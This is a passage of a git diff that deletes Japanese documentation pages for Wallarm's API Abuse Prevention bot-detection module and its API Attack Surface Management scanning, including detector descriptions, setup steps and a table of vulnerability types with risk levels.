-**ヒートマップ** - -ボット情報は3つのヒートマップで可視化されます。いずれのヒートマップでも、バブルが大きいほど、赤色に近いほど、右上に位置するほど、そのIPをボットと見なす理由が多いことを意味します。 - -ヒートマップ上では、現在のボット(**this bot**)と、過去24時間に同じアプリケーションを攻撃した他のボットを比較することもできます。該当するボットが多すぎる場合は、最も疑わしい30件のみが表示されます。 - -ヒートマップ: - -* **Performance** 現在のボットおよび他の検出済みボットのパフォーマンスを可視化します。リクエストの非一意性、スケジュールされたリクエスト、RPS、リクエスト間隔などを含みます。 -* **Behavior** 現在のボットおよび他の検出済みボットの不審行動スコアを可視化します。不審行動の度合い、重要または機微なエンドポイントへのリクエスト数、RPS、彼らをボットと判定したディテクターの数などを含みます。 -* **HTTP errors** ボット活動に起因するAPIエラーを可視化します。対象としている異なるエンドポイントの数、行っている安全でないリクエストの数、RPS、受信したエラーレスポンスコードの数などを含みます. - - - -## API SessionsによるAPIの悪用検知精度の検証 - ---8<-- "../include/bot-attack-full-context.md" \ No newline at end of file diff --git a/docs/latest-ja/api-abuse-prevention/overview.md b/docs/latest-ja/api-abuse-prevention/overview.md deleted file mode 100644 index 3dcfe1107c..0000000000 --- a/docs/latest-ja/api-abuse-prevention/overview.md +++ /dev/null @@ -1,57 +0,0 @@ -# API Abuse Prevention - -Wallarmプラットフォームの**API Abuse Prevention**モジュールは、クレデンシャルスタッフィング、偽アカウント作成、コンテンツスクレイピングなど、APIの不正利用を行うボットを検知・対策します。お客様のAPIを標的とするその他の悪意ある行為にも対応します。 - -## API Abuse Preventionでブロックされる自動化された脅威 - -**API Abuse Prevention**モジュールは、デフォルトで次の種類のボットを検出します。 - -* [不審なAPIアクティビティ](../attacks-vulns-list.md#suspicious-api-activity) -* [アカウント乗っ取り](../attacks-vulns-list.md#account-takeover) -* [セキュリティクローラー](../attacks-vulns-list.md#security-crawlers) -* [スクレイピング](../attacks-vulns-list.md#scraping) -* [無制限のリソース消費](../attacks-vulns-list.md#unrestricted-resource-consumption)（[NGINX Node](../installation/nginx-native-node-internals.md#nginx-node) 6.3.0以上が必要で、現時点では[Native Node](../installation/nginx-native-node-internals.md#native-node)ではサポートされていません） - -[API不正利用プロファイルのセットアップ](../api-abuse-prevention/setup.md#creating-profiles)の際に、**API Abuse Prevention**モジュールをすべてのボットタイプから保護するよう構成するか、特定の脅威に限定して保護するよう構成できます。 - -## API Abuse Preventionはどのように動作しますか？ - -**API Abuse Prevention**モジュールは、MLベースの手法に加え、統計的・数理的な異常検知手法や直接的な不正のケースを取り入れた複合的なボット検知モデルを使用します。本モジュールは正常なトラフィックプロファイルを自己学習し、著しく異なる振る舞いを異常として識別します。 - -API Abuse Preventionは、[セッション](../api-sessions/overview.md#api-sessions-and-api-abuse-prevention)内で悪意あるボットを識別するために複数のdetectorを使用します。どのdetectorが判定に関与したかの統計も提供します。 - -関与する可能性のあるdetectorは次のとおりです。 - -* **Bad user-agent** リクエストに含まれる`User-Agent`ヘッダーを分析します。このdetectorは、クローラー、スクレイパー、セキュリティチェッカーに属するものを含む特定のシグネチャを確認します。 -* **Authentication abuse** 認証リクエスト数の比率やインターバルあたりのリクエスト数を所定のしきい値に対して分析し、異常な振る舞いを特定します。誤検知を避けるため、アプリケーション全体の認証リクエスト総量も考慮します。 -* **Request uniqueness** セッション中に訪問したユニークなエンドポイントの数を分析します。クライアントが一貫して10%以下などユニークエンドポイントの割合が低い場合、ユーザーではなくボットである可能性が高いです。 -* **Suspicious behavior score** セッション中に行われた通常および異常なビジネスロジックAPIリクエストを分析します。 -* **Business logic score** アプリケーションの振る舞いの文脈で、重要または機密なAPIエンドポイントの利用状況を分析します。 -* **Request rate** 特定の時間間隔に行われたリクエスト数を分析します。APIクライアントが一定のしきい値を超えるリクエストを一貫して高い割合で行う場合、ユーザーではなくボットである可能性が高いです。 -* **Request interval** 連続するリクエスト間の時間間隔を分析し、ボット行動の兆候であるランダム性の欠如を検出します。 -* **Query abuse** あらかじめ定義したしきい値を超えるリクエスト量を異常として分析します。パラメータを変化させるクエリでしきい値を超えるクライアントも異常と見なします。さらに、クライアントのクエリパターンを通常の振る舞いと比較し、ボット活動を特定します。 -* **Outdated browser** リクエストで使用されるブラウザとプラットフォームを分析します。クライアントが古い、またはサポートされていないブラウザやプラットフォームを使用している場合、ユーザーではなくボットである可能性が高いです。 -* **Wide scope** IPアクティビティの広がりを分析し、振る舞いに基づいてクローラー様のボットを特定します。 -* **IP rotation** 攻撃者がIPアドレスプールを利用する[アカウント乗っ取り](../attacks-vulns-list.md#account-takeover)攻撃の一部であるかどうかを分析します。 -* **Session rotation** 攻撃者がセッションのプールを悪用する[アカウント乗っ取り](../attacks-vulns-list.md#account-takeover)攻撃の一部であるかどうかを分析します。 -* **Persistent ATO** 長期間にわたって徐々に発生する[アカウント乗っ取り](../attacks-vulns-list.md#account-takeover)攻撃の一部であるかどうかを分析します。 -* **Credential stuffing** 異なるクレデンシャルで繰り返しログイン試行を行いながらリクエスト属性を安定させている[アカウント乗っ取り](../attacks-vulns-list.md#account-takeover)攻撃（[クレデンシャルスタッフィング](../attacks-vulns-list.md#credential-stuffing)）の一部であるかどうかを分析します。 -* **Low-frequency credential stuffing** 後続のAPIインタラクションを伴わない、散発的または最小限の認証試行（[クレデンシャルスタッフィング](../attacks-vulns-list.md#credential-stuffing)）を特徴とする[アカウント乗っ取り](../attacks-vulns-list.md#account-takeover)攻撃の一部であるかどうかを分析します。攻撃者は検知回避のため、セッションまたはクライアントあたりのログイン試行回数を意図的に制限します。 -* **Response time anomaly** APIレスポンスのレイテンシにおける異常なパターンを特定し、自動化された不正やバックエンドの悪用の試みを示唆する可能性があります（[無制限のリソース消費](../attacks-vulns-list.md#unrestricted-resource-consumption)攻撃の一種としてマークされます）。 -* **Excessive request consumption** APIに異常に大きなリクエストペイロードを送信するクライアントを特定し、バックエンド処理リソースの乱用や誤用を示す可能性があります（[無制限のリソース消費](../attacks-vulns-list.md#unrestricted-resource-consumption)攻撃の一種としてマークされます）。 -* **Excessive response consumption** セッションのライフタイム全体で転送されたレスポンスデータの総量に基づいて、不審なセッションにフラグを付けます。個々のリクエストに着目するdetectorと異なり、このdetectorは[セッション全体](../api-sessions/overview.md)にわたりレスポンスサイズを集計し、スロードリップ型や分散型のスクレイピング攻撃を特定します（[無制限のリソース消費](../attacks-vulns-list.md#unrestricted-resource-consumption)攻撃の一種としてマークされます）。 - -!!! info "信頼度" - detectorの動作結果として、すべての[検出された](../api-abuse-prevention/exploring-bots.md)ボットに対し、これはボットであるとどの程度確信できるかを示す**信頼度パーセンテージ**が付与されます。各ボットタイプでは、detectorごとに相対的重要度や投票数が異なります。したがって、信頼度パーセンテージは、そのボットタイプにおける可能な全投票数に対して獲得した票の割合（作動したdetectorが付与した票）です。 - -![API Abuse Preventionの統計](../images/about-wallarm-waf/abi-abuse-prevention/api-abuse-prevention-statistics-detectors.png) - -1つ以上のdetectorが[ボット攻撃の兆候](#automated-threats-blocked-by-api-abuse-prevention)を示した場合、本モジュールは異常トラフィックの送信元を1時間denylistまたはgraylistに追加します。Wallarmは、過去30日以内にdenylistおよびgraylistに登録されたボットIPを集計し、直前の30日間と比べてそれらの数が何パーセント増減したかを表示します。 - -本ソリューションは、トラフィックの異常を悪意あるボット行為と断定して発信元をブロックする前に、深く観察します。メトリクスの収集と分析には時間がかかるため、最初の悪意あるリクエストが発生した瞬間にリアルタイムでボットをブロックするわけではありませんが、平均的には異常な活動を大幅に低減します。 - -## セットアップ - -**API Abuse Prevention**モジュールで悪意あるボットの検知と緩和を開始するには、1つ以上の[API不正利用プロファイル](../api-abuse-prevention/setup.md#creating-profiles)を作成して構成します。 - -API Abuse Preventionの機能をより精緻にするため、リクエストを[セッション](../api-sessions/overview.md)にまとめる際に未認証トラフィックをより適切に識別できるよう、[JA3 fingerprinting](../admin-en/enabling-ja3.md)を有効化することを推奨します。 \ No newline at end of file diff --git a/docs/latest-ja/api-abuse-prevention/setup.md b/docs/latest-ja/api-abuse-prevention/setup.md deleted file mode 100644 index 476ed4aba4..0000000000 --- a/docs/latest-ja/api-abuse-prevention/setup.md +++ /dev/null @@ -1,67 +0,0 @@ -# API Abuse Preventionのセットアップ - -このドキュメントでは、[API Abuse Prevention](../api-abuse-prevention/overview.md)モジュールを有効化して構成し、悪意あるボットを検出・軽減しつつ、正当なアクティビティのブロックを回避する方法を説明します。 - -## 有効化 - -API Abuse Preventionモジュールは**Advanced API Security**の[サブスクリプションプラン](../about-wallarm/subscription-plans.md#core-subscription-plans)で利用できます。デフォルトで無効です。 - -API Abuse Preventionを有効化するには: - -1. Wallarmノードが4.2以降であることを確認します。 -1. Wallarm Console → **API Abuse Prevention**で、少なくとも1つの[API Abuse profile](#creating-profiles)を作成または有効化します。 - -## プロファイルの作成 - -API Abuse Preventionプロファイルは、Wallarmの**API Abuse Prevention**が悪意あるボットをどのように検出・軽減するかを設定するために使用します。アプリケーションごとに異なるプロファイルを作成できます。各アプリケーションに関連付けられるプロファイルは1つだけです。 - -プロファイルでは、どの種類のボットから保護するか、各ボット種別をどのSensitivityで検知するか、そのボットの活動に対するReactionを定義します。 - -API Abuse Preventionプロファイルを作成するには: - -1. **API Abuse Prevention**セクションで、**Profiles**タブに切り替えます。 -1. **Create profile**をクリックします。 -1. 保護対象とする[自動化された脅威](../api-abuse-prevention/overview.md#automated-threats-blocked-by-api-abuse-prevention)を選択し、**Reaction**を設定します: - - * **Disabled** - この種類のボットからは保護しません。 - * **Register attack** - 検出された悪意あるボットの活動はWallarm Consoleの[**Attacks**](../user-guides/events/check-attack.md)セクションに表示され、リクエストはブロックされません。 - - そのようなイベントの詳細から、**Add source IP to denylist**ボタンでボットを即座にブロックできます。IPはdenylistに無期限で追加されますが、**IP Lists**セクションで削除したり、リストに留める期間を変更できます。 - - * **Denylist IP**または**Graylist IP** - ボットのIPが選択した期間、対応するリストに追加され、リクエストはブロックされます。denylistとgraylistの違いは[こちら](../user-guides/ip-lists/overview.md)をご覧ください。 - -1. 必要に応じて、各ボット種別の検知**Sensitivity**を変更します: - - * **Paranoid** - 感度が高いほど、アプリケーションに到達できるボットはより少なくなりますが、誤検知により正当なリクエストが一部ブロックされる可能性があります。 - * **Normal**(デフォルト、推奨) - 多くの誤検知を避けつつ、ほとんどの悪意あるボットのリクエストがAPIに到達するのを防ぐ最適なルールを使用します。 - * **Safe mode** - 感度が低いほど、より多くのボットがアプリケーションにアクセスできる一方で、正当なリクエストは破棄されません。 - - ![API Abuse Preventionプロファイル](../images/about-wallarm-waf/abi-abuse-prevention/create-api-abuse-prevention.png) - -1. アプリケーションを選択します。 -1. **Analyze behavior by**パラメータを設定します: - - * **Applications** - アプリケーションのすべてのドメインへのリクエストをまとめて分析します。 - * **Domains** - アプリケーションの各ドメインへのリクエストを個別に分析します。 - -作成後、プロファイルは選択したタイプの悪意あるボットから選択したアプリケーションを保護します。保護とデータ分析は、そのプロファイルに紐づくアプリケーショントラフィックの有無や量に依存します。プロファイルごとのステータスに注意してください: - -![API Abuse Prevention - プロファイル](../images/about-wallarm-waf/abi-abuse-prevention/api-abuse-profiles-per-profile-status.png) - -## プロファイルの無効化と削除 - -無効化されたプロファイルは、**API Abuse Prevention**モジュールがトラフィック分析に使用しませんが、プロファイル一覧には表示されます。無効化されたプロファイルはいつでも再度有効化できます。有効なプロファイルがない場合、このモジュールは悪意あるボットをブロックしません。 - -削除したプロファイルは復元できず、**API Abuse Prevention**モジュールはトラフィック分析に使用しません。 - -**Disable**および**Delete**のオプションはプロファイルのメニューにあります。 - -## 例外 - -[例外の作成](exceptions.md)によりAPI Abuse Preventionをきめ細かく調整できます。正当なボットにマークを付けたり、特定の対象URLやリクエスト種別についてボット保護を無効化できます。 - -## セッションメカニズムの改善 - -API Abuse Preventionは、ボットの挙動を分析する際に[API Sessions](../api-sessions/overview.md)のメカニズムを使用します。 - -API Abuse Preventionの機能をより精緻にするため、リクエストをセッションにまとめる際の未認証トラフィックの識別を向上させる目的で、[JA3 fingerprinting](../admin-en/enabling-ja3.md)を有効化することを推奨します。 \ No newline at end of file diff --git a/docs/latest-ja/api-attack-surface/api-surface.md b/docs/latest-ja/api-attack-surface/api-surface.md deleted file mode 100644 index 7173389d8b..0000000000 --- a/docs/latest-ja/api-attack-surface/api-surface.md +++ /dev/null @@ -1,109 +0,0 @@ -[link-aasm-security-issue-risk-level]: security-issues.md#issue-risk-level -[link-integrations-intro]: ../user-guides/settings/integrations/integrations-intro.md -[link-integrations-email]: ../user-guides/settings/integrations/email.md#setting-up-integration - -# API Attack Surface Discovery - -Wallarmの[API Attack Surface Management](overview.md)の**API Attack Surface Discovery**（**AASD**）コンポーネントは、選択したドメインをスキャンして外部ホストとそのAPIをすべて発見し、WebおよびAPIベースの攻撃に対する保護状況を評価し、不足しているWAF/WAAPソリューションを特定します。Wallarmでサブスクライブするだけで利用でき、デプロイは不要です。本記事ではこのコンポーネントの概要を説明します。 - -![API Attack Surface Discovery](../images/api-attack-surface/aasm-api-surface.png) - -## 対応する課題 - -### 提供機能 - -監視されていない、またはドキュメント化されていないAPIは悪意ある攻撃の侵入経路になり得るため、組織の外部APIの全リストを把握することが潜在的なセキュリティリスクを軽減する第一歩です。 - -**API Attack Surface Discovery**コンポーネントは、次の機能を提供することでこれらの課題の解決を支援します。 - -* [選択したドメイン](setup.md)の外部ホストの自動検出。 -* 検出された各ホストの開放ポートの自動検出。 -* 検出された各ホストのAPIの自動検出。 - - 検出可能な**APIタイプ**（プロトコル）は、JSON-API, GraphQL, XML-RPC, JSON-RPC, OData, gRPC, WebSocket, SOAP, WebDav, HTML WEBです。 - - HTML WEB — ブラウザでの人による閲覧を想定したHTMLのWebページです。静的なHTMLのWebページの場合もあれば、アプリケーションの単一HTMLページであり、そのページからAPIにアクセスする場合もあります。 - -* 検出されたホストの[security posture](#security-posture)の自動評価。 -* APIサーフェス全体の総合WAAPスコア。 -* セキュリティベンダー、データセンター、ロケーション別のアセット集計。 - - 1つのホストに複数のIPアドレスが割り当てられている場合があるため、データセンターおよび地理的ロケーション別のアセット統計はホスト単位ではなくIPアドレス単位で評価します。CDNを使用している場合、アセットのロケーションは実態を正確に反映しないことがあります。 - -* 検出されたホストのセキュリティ課題の自動検出。 - -これらはすべてWallarmで当該コンポーネントをサブスクライブするだけで利用でき、デプロイは一切不要で、分析済みデータをすぐに確認できます。 - -### 旧Scannerの置き換え - -API Attack Surface Discovery（AASD）の機能は旧来のWallarm Scannerの全機能を網羅しており、[Security Issues](security-issues.md)と組み合わせることでさらに多くの価値を提供するため、2025年5月7日以降、Scannerは無効化されます。 - -![旧Scanner](../images/user-guides/scanner/check-scope.png) - -旧Scannerの無効化には次が含まれます: - -* 旧Scannerを使用していたすべてのお客様にAASDへのアクセスを提供します -* 旧Scannerのすべての設定をAASDへ移行します（Wallarmサポートが実施します） -* AASDによるホストとAPIの自動再検出と、それらに関する拡張データの提示 -* ホストおよびAPIに対するセキュリティ課題の自動検出 -* 2025年5月7日以前に旧Scannerが検出した脆弱性は、[data retention policy](../about-wallarm/data-retention-policy.md)に従い、引き続きVulnerabilitiesセクションに表示されます - -## 検出されたホストのデータ - -ドメインのホストが検出されると、Wallarm ConsoleでAPI Attack Surfaceセクションに移動します。リストのホストをクリックすると、次を確認できます: - -* ホストで検出された開放ポート -* ホストで検出されたAPI -* ホストの[評価済み](#security-posture)WAAPスコアの詳細 - -
        - -
        - -
        -
        - -## Security posture - -Wallarmは外部ネットワーク境界のセキュリティ態勢を自動評価し、その状態を0（最低）から100（最高）の保護レベルで表す**Total score**として表示します。 - -![APIサーフェス - 保護スコア](../images/api-attack-surface/aasm-api-surface-protection-score.png) - -Total scoreは、以下を組み合わせた複合的な独自アルゴリズムにより算出します。 - -* **WAAP coverage score**は、WAF/WAAPソリューションによる外部WebおよびAPIサービスのカバレッジを表します。WAF/WAAPで保護されているHTTP/HTTPSポートの割合として算出します。 -* **Average WAAP score**は、外部ホストのWebおよびAPI攻撃に対する耐性を表します。AASMがブロッキングモードの有効なWAAPソリューションを特定し、かつエラーなくWAAPスコアを評価できたすべてのホストの平均として算出します。 - - 特定エンドポイントのWAAPスコアはWallarmによるテスト結果であり、次の式で算出します: - - ``` - ((AppSec + FalsePositive) / 2 + APISec) / 2 - ``` - - * `AppSec` - SQLインジェクション、XSS、コマンドインジェクションなどのWeb攻撃に対する耐性。 - * `APISec` - GraphQL、SOAP、gRPCなどのプロトコルを対象としたAPI攻撃に対する耐性。 - * `FalsePositive` - 正当なリクエストを脅威と誤判定せずに正確に許可できる能力。 - - 各ホストについて、詳細なWAAPスコア評価レポートをPDF形式でダウンロードできます。 - -* **追加メトリクス**（TLSカバレッジ、セキュリティ課題の有無、検出されたセキュリティ課題など）。 - -## API Attack Surfaceレポート - -選択したドメインで検出された外部ホストとそのAPIに関する詳細なDOCXレポートを取得できます。このレポートには、これらのAPIで検出された[セキュリティ課題](security-issues.md)について、任意に選択した情報も含められます。 - -加えて、APIサーフェスの情報を表形式（CSV）で取得でき、次の単位で整理されています: - -* ホスト（1ホストにつき1行） -* ポート（1ポートにつき1行） -* API（1 APIにつき1行） - -![APIサーフェス - レポート](../images/api-attack-surface/aasm-reports.png) - -もう1つの選択肢として、機械可読形式のJSONレポートでAPIサーフェス情報を取得できます。 - -セキュリティ課題については、[個別のレポート](security-issues.md#security-issue-reports)も取得できます。 - -## 通知 - ---8<-- "../include/api-attack-surface/aasm-notifications.md" \ No newline at end of file diff --git a/docs/latest-ja/api-attack-surface/overview.md b/docs/latest-ja/api-attack-surface/overview.md deleted file mode 100644 index 70eec82c57..0000000000 --- a/docs/latest-ja/api-attack-surface/overview.md +++ /dev/null @@ -1,58 +0,0 @@ -# API Attack Surface Management - -Wallarmの**API Attack Surface Management**（**AASM**）は、APIエコシステムに特化したエージェントレスの検出ソリューションで、外部ホストとそのAPIを発見し、不足しているWAF/WAAPソリューションを特定し、APIリークやその他の脆弱性を軽減するように設計されています。 - -API Attack Surface Managementには次が含まれます: - -* [API Attack Surface Discovery（AASD）](api-surface.md) -* [セキュリティ問題の検出](security-issues.md) - -![AASM](../images/api-attack-surface/aasm.png) - -## 仕組み - -API Attack Surface Managementは、以下のセクションで説明する複数の自動化機能を提供します。 - -### ステップ1: 外部API攻撃対象領域のディスカバリー - -* 外部ホストとそのAPI（CDN、IaaS、PaaSなどのホスティングプロバイダを含む）を[検出](api-surface.md)します。 -* IP解決に基づいてジオロケーションとデータセンターを特定します。 -* 組織が使用している可能性のあるAPIプロトコル（JSON-API、GraphQL、XML-RPC、JSON-RPC、OData、gRPC、WebSocket、SOAP、WebDav、HTML WEBなど）に関するインサイトを提供します。 -* 意図せず公開されているプライベートなAPI仕様を明らかにします。 -* 外部API攻撃対象領域の変化を継続的に監視し、開発やデプロイの過程で導入された新しいAPI、シャドーAPI、不正なエンドポイントを検出します。 -* API攻撃対象領域の検出結果や変更について[通知](setup.md#notifications)します。 - -### ステップ2: WAFカバレッジのディスカバリーとテスト - -* APIがWAF/WAAPで保護されているかどうかを[検出](api-surface.md)します。 -* WAF/WAAPが検出するよう設定されている脅威の種類をテストします。 -* 検出された各エンドポイントに対して[セキュリティスコア](api-surface.md#security-posture)を算出します。 -* OWASP Top 10の脆弱性に対するルールの不足や、BOLAやクレデンシャルスタッフィングなど最新のAPI特有の脅威に対するカバレッジの欠如など、WAFの設定におけるギャップを特定して報告します。 - -### ステップ3: APIリークと脆弱性の自動検出 - -* 外部の攻撃対象領域の全体像が把握されると、検出されたアプリとAPIに関連する[APIリークと脆弱性の検出](security-issues.md)を開始します。 -* 脆弱性を重大度で監視・分類し、誤設定、弱い暗号化、古い依存関係といった問題をカテゴライズして、対処の優先順位付けを効果的に行います。 -* 見つかったリークや検出された脆弱性について[通知](setup.md#notifications)します。 - -## 検出される脆弱性の種類 - -API Attack Surface Managementは以下を検出します: - -* GraphQLの誤設定 -* 情報露出（デバッグデータ、設定ファイル、ログ、ソースコード、バックアップ） -* 機密性の高いAPIの露出（例: Prometheusのメトリクス、ステータスページ、システム/デバッグデータを公開するAPI） -* Path traversal、SQLi、SSRF、XSSなどの最も広く見られるケース -* リモート管理インターフェイスの露出（API Gatewayの管理インターフェイスを含む） -* データベース管理インターフェイスの露出 -* SSL/TLSの誤設定 -* API仕様の露出 -* APIキー、PII（ユーザー名とパスワード）、認可トークン（Bearer/JWT）などを含むAPIリーク -* 古いソフトウェアバージョンとそれに対応するCVE -* 最も一般的なWebおよびAPI関連のCVE約2,000件 - -説明付きの全リストは[こちら](security-issues.md#list-of-detected-issues)にあります。 - -## 有効化とセットアップ - -API Attack Surface Managementの使用を開始するには、API[Attack Surface Managementのセットアップ](setup.md)に従って有効化と設定を行います。 \ No newline at end of file diff --git a/docs/latest-ja/api-attack-surface/security-issues.md b/docs/latest-ja/api-attack-surface/security-issues.md deleted file mode 100644 index 02bb698b3c..0000000000 --- a/docs/latest-ja/api-attack-surface/security-issues.md +++ /dev/null @@ -1,156 +0,0 @@ -[link-aasm-security-issue-risk-level]: #issue-risk-level -[link-integrations-intro]: ../user-guides/settings/integrations/integrations-intro.md -[link-integrations-email]: ../user-guides/settings/integrations/email.md#setting-up-integration - -# セキュリティ問題の検出 - -[API Attack Surface Discovery](api-surface.md)が[選択したドメイン](setup.md)の外部ホストを特定すると、Wallarmはそれらのホストにセキュリティ問題がないかを確認します。問題が見つかると、**Security Issues**セクションに一覧表示され、内容が説明されます。本記事では、この情報の活用方法を説明します。 - -## セキュリティ問題の確認 - -外部ホストで見つかったセキュリティ問題を確認するには、Wallarm ConsoleでAASMの**Security Issues**セクションに移動します。 - -![Security Issues](../images/api-attack-surface/security-issues.png) - -ここには、発見された問題の詳細が次のとおり表示されます。 - -* 各問題の簡潔な説明と[詳細](#issue-details-and-lifecycle)を備えた、フィルタ可能な完全な一覧 -* 脆弱なホストの上位リスト -* タイプ別のセキュリティ問題の分布 -* [リスクレベル](#issue-risk-level)の評価と、各レベル別のセキュリティ問題の分布 -* 直近6か月に検出・解決された問題の月次履歴 - -## 検出された問題の一覧 - -Wallarmは次のセキュリティ問題を自動検出します。 - -| Type | 説明 | -| ------- | ------- | -| Management interface | リモート管理インターフェイスまたは管理パネルがインターネット上で一般にアクセス可能であり、システムが潜在的な攻撃にさらされています。攻撃者はパスワード推測やクレデンシャルスタッフィング、既知の脆弱性の悪用によって不正アクセスを試みる可能性があります。 | -| Authentication bypass | 認証回避の脆弱性により、攻撃者は認証機構を迂回して保護されたリソースへ不正アクセスできます。この欠陥は機密データへの不正アクセス、権限昇格、さらにはシステムの完全な侵害につながるおそれがあります。 | -| BOLA | 攻撃者は、リクエスト内で送信されるオブジェクトIDを操作することで、Broken Object Level Authorizationに脆弱なAPIエンドポイントを悪用できます。これにより機密データへの不正アクセスが発生する可能性があります。 [詳細](../attacks-vulns-list.md#broken-object-level-authorization-bola) | -| File read | アプリケーションに任意ファイル読み取りの脆弱性があり、攻撃者が正当な認可なくサーバー上のファイルを読み取ることができます。設定ファイル、ソースコード、ユーザーデータなどの機密情報への不正アクセスにつながり、システム全体のセキュリティを損ないます。 | -| File upload | 任意ファイルアップロードの脆弱性により、攻撃者が想定された制限を回避して有害なファイルをサーバーへアップロードできます。これにより、Webシェルを介したリモートコマンド実行、重要なシステムファイルの上書き、マルウェア配布、さらにはサーバーの完全な侵害が発生する可能性があります。 | -| Information exposure | アプリケーションが機密情報を不正に開示してしまう脆弱性で、攻撃者にさらなる悪用に利用される可能性のあるデータを提供してしまいます。 [詳細](../attacks-vulns-list.md#information-exposure) | -| LFI | Local File Inclusion（LFI）の脆弱性により、不十分な入力検証を突いてアプリケーション内のファイルパスを操作されます。これにより、機密システムファイルへの不正アクセスやコード実行、さらにはより深刻な攻撃の足掛かりとなってシステムが完全に侵害される可能性があります。 | -| Misconfiguration | セキュリティの設定不備には、デバッグモードの有効化、エラーメッセージにおける過剰情報の出力、TLS/SSLの誤設定、CORSポリシーの欠如または誤設定など、設定ミスに起因する脆弱性が含まれます。 | -| Missing authentication | 機微なアプリケーションまたはAPIエンドポイントに適切な認証機構がなくアクセスできる状態です。データ侵害、サービス障害、システムの完全性の損なわれにつながるおそれがあります。 | -| RCE | Remote Code Execution（リモートコード実行）— ユーザー入力の検証やパースが不適切であることに起因する脆弱性です。攻撃者はAPIリクエストに悪意あるコードを注入し、それが実行される可能性があります。また、脆弱なアプリケーションが動作するOSに対して特定のコマンドの実行を試みることも可能です。 [詳細](../attacks-vulns-list.md#remote-code-execution-rce) | -| Open redirect | オープンリダイレクトの脆弱性により、ユーザーが制御する入力で外部サイトへのリダイレクト先が指定できます。攻撃者はこれを悪用してユーザーを悪意あるサイトへ誘導し、フィッシングなどのリスクを生じさせる可能性があります。 | -| Sensitive API exposure | セキュリティ対策の不備や設定ミスにより、APIエンドポイント、ドキュメント、機能が意図せず公開または不正ユーザーからアクセス可能になっています。これにより、より標的型の攻撃や機密データへの不正アクセス、システム構造に関する有用な情報を与えることによる脆弱性の悪用につながる可能性があります。 | -| SQLi | SQLインジェクション — ユーザー入力のフィルタリングが不十分なために発生する脆弱性です。特別に細工したクエリをSQLデータベースへ注入して攻撃します。 [詳細](../attacks-vulns-list.md#sql-injection) | -| SSRF | Server‑Side Request Forgery（サーバーサイドリクエストフォージェリ）— SSRF攻撃が成功すると、攻撃者が被攻撃Webサーバーに代わってリクエストを送信できるようになります。これにより、使用中のネットワークポートの露見、内部ネットワークのスキャン、認可の回避などにつながる可能性があります。 [詳細](../attacks-vulns-list.md#serverside-request-forgery-ssrf) | -| Subdomain takeover | サブドメインが存在しないリソースを指しているため、乗っ取りの可能性があります。攻撃者がこれらのサブドメインを取得・制御でき、フィッシング、データ窃取、元のドメイン所有者の評判毀損などにつながる可能性があります。 | -| User enumeration | システムの応答を通じて、ユーザーアカウントや機密データを不正に列挙できてしまう脆弱性です。これにより不正アクセスや標的型攻撃、さらなる侵害の足掛かりとなる可能性があります。 | -| Vulnerable component | 既知の脆弱性を含む旧式のソフトウェアコンポーネントを使用していると、既知の脆弱性が悪用されるリスクが生じます。さらに、組織内のパッチ管理プロセスが不十分であることを示唆します。 | -| XSS | Cross‑Site Scripting（クロスサイトスクリプティング）— 攻撃者が用意した任意コードをユーザーのブラウザー内で実行させます。 [詳細](../attacks-vulns-list.md#crosssite-scripting-xss) | -| XXE | XML External Entity（XXE）攻撃 — 攻撃者がXML文書に外部実体を注入し、XMLパーサーに評価させ、ターゲットWebサーバー上で実行させることを可能にする脆弱性です。 [詳細](../attacks-vulns-list.md#attack-on-xml-external-entity-xxe) | -| API leak | 漏えいしたAPIキーにより、攻撃者が正規ユーザーになりすまして機密の財務データへアクセスし、トランザクションの流れを操作できる可能性があります。 [詳細](#api-leaks) | -| Vulnerable software | 脆弱なソフトウェアバージョンは、システムへの不正アクセス、データ窃取、マルウェア、業務の中断といった重大なリスクを伴います。攻撃者は古いソフトウェアの既知の脆弱性を積極的に探索するため、悪用される可能性が高いです。 | - - -## セキュリティ問題の詳細とライフサイクル - -Wallarmは、発見された各セキュリティ問題について、発生状況と可能な対処を明確に理解できるよう詳細情報を提供します。 - -### 問題の詳細 - -一覧の問題をクリックすると、次の詳細が表示されます。 - -* 基本情報（タイプ、ホストとURL、初回検出時刻と最終検出時刻） -* 詳細な**Description** -* **Mitigation**のための対処策 -* リスク順にランク付けされた関連CVEに関する情報（**Additional information**） - -![Security Issuesの詳細 - Details](../images/api-attack-surface/security-issue-details.png) - -### 問題のライフサイクル - -セキュリティ問題が検出されると、対処が必要であることを示す**Open**ステータスになります。問題の詳細画面では、クローズ（解決済みを意味します）するか、falseとしてマークできます。 - -各ステータス変更に対してコメントを残すと、変更理由が関係者に伝わりやすく有用です。変更の作成者と時刻は自動で追跡されます。 - -次回の[自動](setup.md#auto-rescan)または[手動](setup.md#manual-rescan)の再スキャン後、以下の条件に該当する場合はWallarmが自動でセキュリティ問題をクローズします。 - -* 直近のスキャンでポートが見つからない -* ネットワークサービスが変更されている -* 新しい製品バージョンが検出された -* 脆弱なバージョンが存在しなくなった -* 直近のスキャンで脆弱性が検出されなかった - -問題は、次回の再スキャン後に自動で、または手動で再オープンされる場合があります。なお、falseにマークされた問題が自動で再オープンされることはありません。 - -![セキュリティ問題 - ライフサイクル図](../images/api-attack-surface/security-issue-lifecycle.png) - -### リスクレベルの変更 - -問題の[リスクレベル](#issue-risk-level)を再評価する場合は、詳細画面で新しいリスクレベルを選択します。 - -### コメントの追加 - -ステータス変更（クローズ、再オープン）の際にコメントを付けるのは常に有用ですが、それ以外のタイミングでも、何も変更せずにコメントを追加できます。**Add comment**ボタンを使用すると、コメントは**Status history**の一部になります。 - -### ステータス履歴 - -経緯を追えるよう、セキュリティ問題の**Status history**セクションに変更とコメントの全履歴が表示されます。 - -![セキュリティ問題 - ライフサイクル図](../images/api-attack-surface/aasm-sec-issue-history.png) - - -## 問題のリスクレベル - -各セキュリティ問題は、発生時のリスクの大きさに基づき自動評価され、次の表のとおり分類されます。 - -| Risk | 説明 | 例 | -| ----- | ----- | ----- | -| **Critical** | この脆弱性の存在は、攻撃者によるリモートコード実行やDoS/サービス劣化を許し、システム侵害に至る可能性があります。即時の対応が必要です。 |
        • Remote code execution
        • 侵害の痕跡（例: 公開アクセス可能なWebシェル）
        | -| **High** | 脆弱性の存在により、データベースアクセスやファイルシステムへの限定的アクセスなど、システムの一部が侵害される可能性があります。特定条件（例: 特別な要件の充足、他の脆弱性との連鎖）では、システム侵害（例: リモートコード実行）に至る場合があります。 |
        • パストラバーサル
        • XML External Entity（XXE）インジェクション
        • Critical/HighリスクのCVEを含む脆弱なソフトウェアバージョン*
